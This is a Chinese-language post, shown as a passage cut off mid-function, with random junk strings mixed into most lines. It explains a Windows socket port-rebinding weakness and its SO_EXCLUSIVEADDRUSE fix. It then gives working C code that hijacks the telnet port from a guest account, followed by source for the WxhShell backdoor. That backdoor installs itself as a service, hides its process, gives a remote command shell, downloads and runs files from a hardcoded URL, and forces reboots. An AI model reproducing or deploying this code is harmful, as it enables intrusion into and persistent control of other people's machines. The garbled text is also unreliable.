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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HB|R1<t;HB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0H9UM*O (5rfeSA^ saddr.sin_family = AF_INET; e\8|6<o[ +aY]?] saddr.sin_addr.s_addr = htonl(INADDR_ANY); XRQz~Py &\Ze<u bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]Rk4"i ` x|=vu- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;?h+8Z/{ 19h@fA[: 这意味着什么?意味着可以进行如下的攻击: #gq!L ?hC,49 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Lg%3M8-W~ nrEG4X9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e=ITAH3b VTUY#+3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s(.H"_a ID_#a9N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 4UxxmREx; W(#u^,$e[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c1Rn1M,2k ^-^ii3G` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e 48N[p R:+cumHr
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Be$v%4 ;_~9".'<d #include >0X_UDAWz #include iNCT( N~. #include f>CJ1;][{ #include ;% <[*T:*' DWORD WINAPI ClientThread(LPVOID lpParam); K[q{)>,9 int main() oKMr Pr[` { 7 /6Zp? WORD wVersionRequested; ?-v]+<$ Y DWORD ret; =w5]o@ WSADATA wsaData; PDgd'y BOOL val; ,J&\)
yTP SOCKADDR_IN saddr; \{EYkk0] SOCKADDR_IN scaddr; pw.K,?kYr int err; iJU=98q SOCKET s; f2LiCe.? SOCKET sc; koojF|H> int caddsize; ^TZ`1:oL# HANDLE mt; ;Yve m DWORD tid; ,f@\Fs~n wVersionRequested = MAKEWORD( 2, 2 ); xNd p]u err = WSAStartup( wVersionRequested, &wsaData ); |[_%zV;p>v if ( err != 0 ) { X,A]<$ACu% printf("error!WSAStartup failed!\n"); ]x(cX&S-9 return -1; /lS5B6NU } @ogj -ol& saddr.sin_family = AF_INET; }&LVD$Bz R>D [I. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *'cyFu$ jwL\|B oE saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E[ttamU saddr.sin_port = htons(23); l`<1Y| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^)p+)5l { ;XIDu6 printf("error!socket failed!\n"); .<zN/&MXf return -1; z -c1,GOD } C=Tq/L w val = TRUE; ?={S"qK(q //SO_REUSEADDR选项就是可以实现端口重绑定的 ZOBcV,K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ipe8U1Sc { o~{rZ~ printf("error!setsockopt failed!\n"); '
~1/*F%8 return -1; dK Qu } ()Q#@?c~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b_ vKP //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F};T<# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P84=.*> %-KgR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _Ie?{5$ng` { qi*Dd[OG ret=GetLastError(); #62*'.B4 printf("error!bind failed!\n"); Cq -URih return -1; R > [2*o" } VkkC;/BBW listen(s,2); D>-srzw while(1) 7<ZGNxZ~ { gHtflS caddsize = sizeof(scaddr); 4:=VHd //接受连接请求 hTQ8y10a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MCAWn
H if(sc!=INVALID_SOCKET) `>- 56 % { D<gd) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fcTg/EXn if(mt==NULL) &u!MI { -asjBSo*D printf("Thread Creat Failed!\n"); H0f] Swh0a break; tM|/OJ7 } t)5.m} } BJt]k7ku+ CloseHandle(mt); S6<#] 6Z } pr[V*C/ closesocket(s); JM7FVB WSACleanup(); }9V0Cu1 return 0; ^WrL
} +|--}iE5n DWORD WINAPI ClientThread(LPVOID lpParam) X%$1%)C9 { vaLP_V SOCKET ss = (SOCKET)lpParam; p}Um+I=1 SOCKET sc; B7wzF" unsigned char buf[4096]; Qv<p$Up6 SOCKADDR_IN saddr; `MHixQ;j long num; Q@uWh: DWORD val; ^#t6/fY.# DWORD ret; #^}s1
4n //如果是隐藏端口应用的话,可以在此处加一些判断 _<GXR
? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 '0=mV"#H{ saddr.sin_family = AF_INET; n?>|2> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {oS/Xa saddr.sin_port = htons(23); r~G amjS if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >`l^
C { ;H3~r^>c printf("error!socket failed!\n"); yIC
C8M return -1; I
Z|EPzS } <iBn-EG l> val = 100; `oTV)J'~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CTe!jMZ= { }qJ`nN8 ret = GetLastError(); /BN=Kl] return -1; }G "EdhSl } 5IA3\G}+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ($Op*bR { 1#*^+A E ret = GetLastError(); B@@tKn_CQ return -1; =te4p@ } di(H-=9G62 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r0@s3/ { xSqr=^ printf("error!socket connect failed!\n"); *&tTiv{^ closesocket(sc); a)*(**e$*i closesocket(ss); dV{mmHL return -1; H&
$M/` } 6HPuCP while(1) LLFQ5py{ { * H~=dPC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [%P[ x]- //如果是嗅探内容的话,可以再此处进行内容分析和记录 f1S%p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B6j/"x6N15 num = recv(ss,buf,4096,0); ]4r&Q4d>O if(num>0) c_>AbF{ send(sc,buf,num,0); ]a`"O else if(num==0) |S~$IFN4 break; gb4$W@N7V num = recv(sc,buf,4096,0); M?=I{}!@Q if(num>0) Ljiw9*ZI send(ss,buf,num,0); >xA(*7 else if(num==0) ArjRoXDE break; (w#)|9Cxm } 4 aE{}jp1 closesocket(ss); M(yWE0 3 closesocket(sc); NHQoP&OG return 0 ; yVQW|D0,j }
.<E7Ey# >4q6 Bt#'6:: ========================================================== '(SivD t%O)Ti 下边附上一个代码,,WXhSHELL jo1z#!|Yw} UCup {pDp ========================================================== \D};0#G0& fq4uiFi< #include "stdafx.h" L&rtN@5; DAg* #include <stdio.h> orYZ<,u #include <string.h> U<r!G;^` #include <windows.h> =.OzpV)=V #include <winsock2.h> mfF `K2R #include <winsvc.h> XH(-anU"!P #include <urlmon.h> Y
DW^N]G %iME[| u& #pragma comment (lib, "Ws2_32.lib") :yE0DS<_ #pragma comment (lib, "urlmon.lib") &*E! %57 L7n G5i #define MAX_USER 100 // 最大客户端连接数 (>Nwd^ #define BUF_SOCK 200 // sock buffer E!.&y4 #define KEY_BUFF 255 // 输入 buffer i`Qa7 @4Zkkjc4b #define REBOOT 0 // 重启 6nJQP a #define SHUTDOWN 1 // 关机 *YX5bpR? #z70:-`.[M #define DEF_PORT 5000 // 监听端口
/fLm
)vN Um4DVg5 #define REG_LEN 16 // 注册表键长度 p-lFzNPc0 #define SVC_LEN 80 // NT服务名长度 $iMLT8U DUH DFG // 从dll定义API wW8[t8%43 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,j9? 9Z7R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ._t1eb`m{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4\nGWi{2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `8tstWYa]Y y<wd~!>Ubu // wxhshell配置信息 *0?@/2& struct WSCFG { I-1NZgv int ws_port; // 监听端口 SjY|aW+wAL char ws_passstr[REG_LEN]; // 口令 )m[<lJbw int ws_autoins; // 安装标记, 1=yes 0=no QoZZXCU char ws_regname[REG_LEN]; // 注册表键名 s&'FaqE char ws_svcname[REG_LEN]; // 服务名 | lZJt char ws_svcdisp[SVC_LEN]; // 服务显示名 Fa\jVFIQ char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Z4%u8Krvz char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vy| 4k2 int ws_downexe; // 下载执行标记, 1=yes 0=no Ud2Tn*QmI char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" :bi(mX7t char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WRA(k /u_9uJ"-K( }; l]#=I7 6 7lA_*t@y // default Wxhshell configuration kj.9\ struct WSCFG wscfg={DEF_PORT, ?FUK_] "xuhuanlingzhe", +]zRn 1, #D%6b "Wxhshell", Qca3{|r` "Wxhshell", BjsTHS& "WxhShell Service", fLd2{jI, "Wrsky Windows CmdShell Service", &cJ?mSI "Please Input Your Password: ", 7&OJ8B/ 1, AaoS &q " http://www.wrsky.com/wxhshell.exe", NQ;$V:s) "Wxhshell.exe" )''V}Zn.X }; EaHJl uFb
9Ic]` // 消息定义模块 g]c6_DMfb1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $o;c:Kh$$ char *msg_ws_prompt="\n\r? for help\n\r#>"; hQ!59 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; j_~mP>el) char *msg_ws_ext="\n\rExit."; i7v=o# char *msg_ws_end="\n\rQuit."; '?Q"[e char *msg_ws_boot="\n\rReboot..."; &['x+vL9 char *msg_ws_poff="\n\rShutdown..."; ~iQBgd@D^ char *msg_ws_down="\n\rSave to "; }@ktAt 1|!)*!hu char *msg_ws_err="\n\rErr!"; %l#X6jkt char *msg_ws_ok="\n\rOK!"; P,a9B2 Q4/BpKL char ExeFile[MAX_PATH]; e=s85! int nUser = 0; &zJ\D`\,O HANDLE handles[MAX_USER]; S-ZN}N{,6 int OsIsNt; w)RedJnf _Y/*e<bU SERVICE_STATUS serviceStatus; HZ}Igw.Z SERVICE_STATUS_HANDLE hServiceStatusHandle; =J]EVD
A+frKoi // 函数声明 D/ sYH0.V$ int Install(void); l?rLadvc int Uninstall(void); |5:2?S2R int DownloadFile(char *sURL, SOCKET wsh); o1?-+P/ int Boot(int flag); ;ND[+i2MN void HideProc(void); ^OX}y~' int GetOsVer(void); .T ,HtHe int Wxhshell(SOCKET wsl); -*~
@? void TalkWithClient(void *cs); vfvp# int CmdShell(SOCKET sock); J7-
vB",U int StartFromService(void); Lccy~2v> int StartWxhshell(LPSTR lpCmdLine); *RVCz|0%w *5*#Z~dut8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fA?v\'Qq/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9E8&~y #"?pY5 (" // 数据结构和表定义 '
Q(kx*; SERVICE_TABLE_ENTRY DispatchTable[] = surNJ,) { 9wGsHf8] {wscfg.ws_svcname, NTServiceMain}, ;H`@x Lv* {NULL, NULL} /DyeMCY- }; V=th-o3[ FE^/us7r // 自我安装 GG<0k\RN int Install(void) U{bv|vF { IbL'Z char svExeFile[MAX_PATH]; *| W*Mu HKEY key; +F8K%.Q_ strcpy(svExeFile,ExeFile); kaiK1/W0; njZ vi}m~ // 如果是win9x系统,修改注册表设为自启动 TU2oQ1 if(!OsIsNt) { _KkaseR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z07&P;W!{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9[&ByEAK RegCloseKey(key); vM!2?8bEFd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XzX2V">(% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iWC}\&i RegCloseKey(key); X am8h return 0; `H>&dK|/ } s3nt2$=:t } 0vX6n6G} }
-u<F>C else { r79P|)\ S9
$t9o // 如果是NT以上系统,安装为系统服务 `GY3H3B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Scm45"wB+ if (schSCManager!=0) tc)Md]S { 1#7|au%:) SC_HANDLE schService = CreateService |4P8N{ L>O ( rl~Rb i schSCManager, +r//8& wscfg.ws_svcname, <Opw"yY&q] wscfg.ws_svcdisp, (|o@ SERVICE_ALL_ACCESS, \lQI;b;$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pc@mQI SERVICE_AUTO_START, y7CO%SA SERVICE_ERROR_NORMAL, 4F0w+wJD svExeFile, 7UGc2J NULL, 77sG;8HE NULL, +Yq?:uBV NULL, W94 u7a NULL, OPE+:TvW^ NULL bp}97ZQ ); rr\9HA if (schService!=0) bma.RCyY< { 3+d^Bpp4 CloseServiceHandle(schService); P]y{3y:XxM CloseServiceHandle(schSCManager); n3&h1- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u9~Ncz strcat(svExeFile,wscfg.ws_svcname); =_iYT044p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QRKP;aYt RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E<u(Yw6= RegCloseKey(key); }fkdv6mz return 0; ,Nhv#U<$
} E3[9!L8gb } Pi |Z\j) CloseServiceHandle(schSCManager); ?u:mscb } HWB\}jcA6u } !jU{ }RCR !v=/f_6 return 1; @&&}J } iHf):J?8
y ^>!&]@ // 自我卸载 *S}CiwW>/ int Uninstall(void) )m8Gbkj< { ar,v/l>d4N HKEY key; 0F![<5X qNHI$r' if(!OsIsNt) { l<4P">M!. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N}NKQ]= RegDeleteValue(key,wscfg.ws_regname); a?GXVQ RegCloseKey(key); =-/'$7R, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {d xl8~/I RegDeleteValue(key,wscfg.ws_regname); H Q[ RegCloseKey(key); <oT1&C{ return 0; B6TE9IoSb8 } 5{+2#- } bx{njo1Mr } _K{-1ZYsi else { v?6*n>R KaOXqFT= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }Rh%bf7, if (schSCManager!=0) \nWbGS( { &s}sA+w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WHOy\j},V if (schService!=0) 8jL^q;R_( { J!6w9,T_ if(DeleteService(schService)!=0) { >b9J!'G,( CloseServiceHandle(schService); DCLu^:|C" CloseServiceHandle(schSCManager); 2vG
X\W%3 return 0; 5[B)U">] } b&4JHyleF CloseServiceHandle(schService); ,ZrR*W?iF } "K9[P:nw CloseServiceHandle(schSCManager); Wf5;~RJC? } 8mRZ(B>% X } V6_":L"! >?ar return 1; q "T? } )F&.0 ' |@1(^GX // 从指定url下载文件 -Q5UT=^ int DownloadFile(char *sURL, SOCKET wsh) 2_3os
P\Z { v 5pkP HRESULT hr; c/^:vTF char seps[]= "/"; F;_o `h char *token; Qx|HvT2P char *file; g{sp<w0 char myURL[MAX_PATH]; 4Hb"yp$ char myFILE[MAX_PATH]; {`
bX*] BQ[R)o strcpy(myURL,sURL); m*jE\+)=^ token=strtok(myURL,seps); }S')!3[G while(token!=NULL) F !OD*] { `^on`"\{u file=token; :6)!#q'g token=strtok(NULL,seps); \nuzl
} 3_boEYl0 Y?0x/2< GetCurrentDirectory(MAX_PATH,myFILE); JBOU$A~ strcat(myFILE, "\\"); JzCkVF$ strcat(myFILE, file); Z rNH:Z:5 send(wsh,myFILE,strlen(myFILE),0); 3Rsrb send(wsh,"...",3,0);
(6mw@gzr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VSCKWYy if(hr==S_OK) bJ"2|VNH( return 0; {E)tzBI;^ else }QQl.' return 1; lH/"47 [N%InsA9k } Ez-AQ' ;g+fY6 // 系统电源模块 '-I\G6w9 int Boot(int flag) tBZ?UAe; { lFIaC} HANDLE hToken; =HIKn6C< TOKEN_PRIVILEGES tkp; lB/^ ;*FY+jM if(OsIsNt) { |9$C%@8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -"2 t^Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %"
mki> tkp.PrivilegeCount = 1; lWJYT<kt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x30|0EHYl[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A0;{$/ if(flag==REBOOT) { fU%Ys9:wU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) };"_Ku4#- return 0; QZ7W:%r(4 } Xa;wx3]t else { "7Kw]8mRR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;QCGl$8A return 0; =u0a/2u| } VJW8%s[ } @V1FBw9S!@ else { Ygg(qB1q if(flag==REBOOT) { QKvaTy# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A(BjU:D(Oj return 0; ?aBAmyxm } [5-IkT0 else { g26_#4 P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?;5/"/i return 0; s-x1<+E( } fo/sA9 } 67}8EV!/k +
>:} return 1;
(=gqqOOl~ } @ra JB' ~+BU@PHv // win9x进程隐藏模块 'h~IbP void HideProc(void) l9+CJAmq { >}]bKq U Lq`!1{
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QJR},nZ3 if ( hKernel != NULL ) O)&ME { uP8 cW([ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tx+P@9M_Aq ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S}0-2T[ FreeLibrary(hKernel); &A/b9GW^- } <.BY=z=H `2V{]F return; 8<Yv:8%B6 } >
9z-/e vKdS1Dn1 // 获取操作系统版本 g?}h*~<b int GetOsVer(void) ~WV1t][ { k@n L(2 OSVERSIONINFO winfo; "OkZ
[E) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DSp~k) GetVersionEx(&winfo); :c )R6=v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UaQW<6+ return 1; z1tCSt}7f else ^n4aoj return 0; wu{%gtx/;^ } xZV|QVY; b!"qbC1 // 客户端句柄模块 +[S<"}ls7 int Wxhshell(SOCKET wsl) #Ak9f-pf { 9nlj{(
SOCKET wsh; $}YN`:{ struct sockaddr_in client; L-q)48+^k DWORD myID; hA&m G33 %){/O}I]> while(nUser<MAX_USER) -,mV~y { [,~;n@jz int nSize=sizeof(client); J]48th0, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t0:~BYXu if(wsh==INVALID_SOCKET) return 1; +>a(9r|: es+ZPX>Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L!ms{0rJ if(handles[nUser]==0) * "?,. closesocket(wsh); OMYbCy^ else NW21{}=4 nUser++; m,w^,) } }>YEtA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^QHgc_oDm pMUUF5 return 0; 6BXZGE } pm= s UK@hnQU8` // 关闭 socket yB;K|MXy? void CloseIt(SOCKET wsh) =3;!
5P { `VglE?M closesocket(wsh); ?$/W3Xn0% nUser--; w0<1=;_% ExitThread(0); =1O;,8` } ;1TQr3w iE{VmHp= // 客户端请求句柄 /B{cL`< void TalkWithClient(void *cs) ('=Q[ua7-( { poqNiOm4% HGj[\kU~ SOCKET wsh=(SOCKET)cs; ?#ywUEY* i char pwd[SVC_LEN]; y,<\d/YY@ char cmd[KEY_BUFF]; "*d%el\63 char chr[1]; %]F{aR int i,j; /KO2y0` ?i~mt'O while (nUser < MAX_USER) { 7~D5Gy nK]L0 *s if(wscfg.ws_passstr) { f~p[izt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bD1IY1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @_;vE(!5 //ZeroMemory(pwd,KEY_BUFF); o O1Fw1Y i=0; i^}DIx{ while(i<SVC_LEN) { :pP l|" $f6wmI;<y // 设置超时 ~}K$z fd_set FdRead; dFnu&u" struct timeval TimeOut; f2Tz5slE FD_ZERO(&FdRead); 5VLC\QgK^ FD_SET(wsh,&FdRead); 6ZGw 3p) TimeOut.tv_sec=8; 5@i(pVWZ TimeOut.tv_usec=0; r"KW\HN8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >T29kgF2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >?$qKu Bjb8#n04 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BUla2p pwd =chr[0]; *{e,< DV if(chr[0]==0xd || chr[0]==0xa) { :YmFQ>e? pwd=0; 9 NC'iFQ# break; Novn#0a } QWwEfL i++; z'Fu} ho } `ItPTSOi 'd< 1;Ayw // 如果是非法用户,关闭 socket FK,YVY if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M >s,I^ } /JP%gD"8 Ar[$% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %h=cwT6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r@H7J 5<Y- cbX< while(1) { KMV&c >=L<3W1 ZeroMemory(cmd,KEY_BUFF); a0B,[i gG,gL9o // 自动支持客户端 telnet标准 'v&f j=0; ]y/!GFQ while(j<KEY_BUFF) { {UOR_Vt!* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9m2Yrj93 cmd[j]=chr[0]; )^Md ^\? if(chr[0]==0xa || chr[0]==0xd) { "3uPK$ cmd[j]=0; SBG.t: break; 9%bqY9NFd } W}> wRy j++; /y5a~3 } +{{'3=x9 Z E},xU% // 下载文件 Q-$EBNz if(strstr(cmd,"http://")) { E&2mFg send(wsh,msg_ws_down,strlen(msg_ws_down),0); FZJ sZeO if(DownloadFile(cmd,wsh)) sfEy send(wsh,msg_ws_err,strlen(msg_ws_err),0); rp,PhS else :=,lG ou send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); os`#:Ao5 } >l0D,-O]m else { rY(h }z J[4IO switch(cmd[0]) { |gJI}"T <a$'tw-8 // 帮助 9]*hP]( case '?': { 7V7iIbi send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (n~GKcA break; t3FfPV!P" } bl`vT3 // 安装 L[p[m~HjG^ case 'i': { >=3ay^(Y2D if(Install()) ^/v!hq_#%& send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,jms~ik else 3h>56{P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :~dI2e\: break; Kx5VR4f`J@ } PLDp=T% // 卸载 5R"(4a P case 'r': { '?v-o)X if(Uninstall()) HPeN0=7> send(wsh,msg_ws_err,strlen(msg_ws_err),0); SRpPLY{:F else -JB~yO?0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z3Y(g break; V|zatMHs } %oN5 jt // 显示 wxhshell 所在路径 m}>#s3KPA case 'p': { zD}2Zh] char svExeFile[MAX_PATH]; i slg5 strcpy(svExeFile,"\n\r"); {qjw
S1v strcat(svExeFile,ExeFile); 94xRKQ} send(wsh,svExeFile,strlen(svExeFile),0); b'5L|1d break; q8e34Ly7 } CLX!qw]@ + // 重启 >ay%
!X@3" case 'b': { IA?v[xu send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b#z{["%Zp if(Boot(REBOOT)) M?zwXmTVW0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); sas:5iB5 else { x9B{|+tIoc closesocket(wsh); dw
e$, 9 ExitThread(0); \4pWHE/ } O!#bM< * break; BD ( } $bT<8:g // 关机 ~^pV>>LX| case 'd': { 1{7*0cv$iL send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (*\*7dIo if(Boot(SHUTDOWN)) v08Xe*gNU send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;`MKi5g else { W|aFEY closesocket(wsh); q_|YLs` ExitThread(0); exQU } 6YeEr!zt% break; 2wki21oY } )kiC/Y}k // 获取shell [#Y7iN& case 's': { ^u[n!R\ CmdShell(wsh); PQFr4EY?i closesocket(wsh); DU>#eR0G ExitThread(0); o?l9$"\sqb break; Pn[R.u(l } ^saH^kg1" // 退出 <;
(pol| case 'x': { AqHH^adzA: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0qUBt9rA CloseIt(wsh); 2En^su$ break; [ym
ynr3M } l;C00ZBOc // 离开 &6mXsx$ case 'q': { M@b:~mI[sw send(wsh,msg_ws_end,strlen(msg_ws_end),0); J$X{4 closesocket(wsh); {"x8q WSACleanup(); K~B@8az exit(1); I "<ACM break; -*I Dzm } ;j]-;wg-; } 9e*v&A2Y' } p%+uv\Ix `swf~ // 提示信息 =6N%;2`84 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N4JJA+ } {BA1C
( } K4\# b}P! "}(g3Iy return; k;bdzcMkQ } z|:3,$~sN j~@Hj$APa` // shell模块句柄
1:+f@# int CmdShell(SOCKET sock) R!8 qkG { / .ddx< STARTUPINFO si; !C$bOhc ZeroMemory(&si,sizeof(si)); E 9LKVs} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D[5Qd)PIL si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wgb
e7-{ PROCESS_INFORMATION ProcessInfo; a*4l!-7 char cmdline[]="cmd"; mDT"%I"4j CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <:rbK9MIl return 0; bm+
#OI } U)n+j}vi O*8.kqlgt // 自身启动模式 `Z3p( G int StartFromService(void) A*r6 { L\u6EMyV typedef struct cU^Z=B { iVg3=R)[1 DWORD ExitStatus; Pl}> DWORD PebBaseAddress; \q0wY7w DWORD AffinityMask; ?'dsiA[ DWORD BasePriority; )ZcwG(o0 ULONG UniqueProcessId; `?f Y!5BA ULONG InheritedFromUniqueProcessId; @6N$!Q? } PROCESS_BASIC_INFORMATION; ?pF7g$>q .(7end< PROCNTQSIP NtQueryInformationProcess; ?7Y6: zo$^ YFF\m{# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]N\J~Gm static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; - 9Ll'fbq #@#/M) HANDLE hProcess; EqV]/0-\ PROCESS_BASIC_INFORMATION pbi; v7ShXX: OcBKn=8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |H LU5=Y if(NULL == hInst ) return 0; xKl!{A9$w C{r Sq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,o3{?o]s 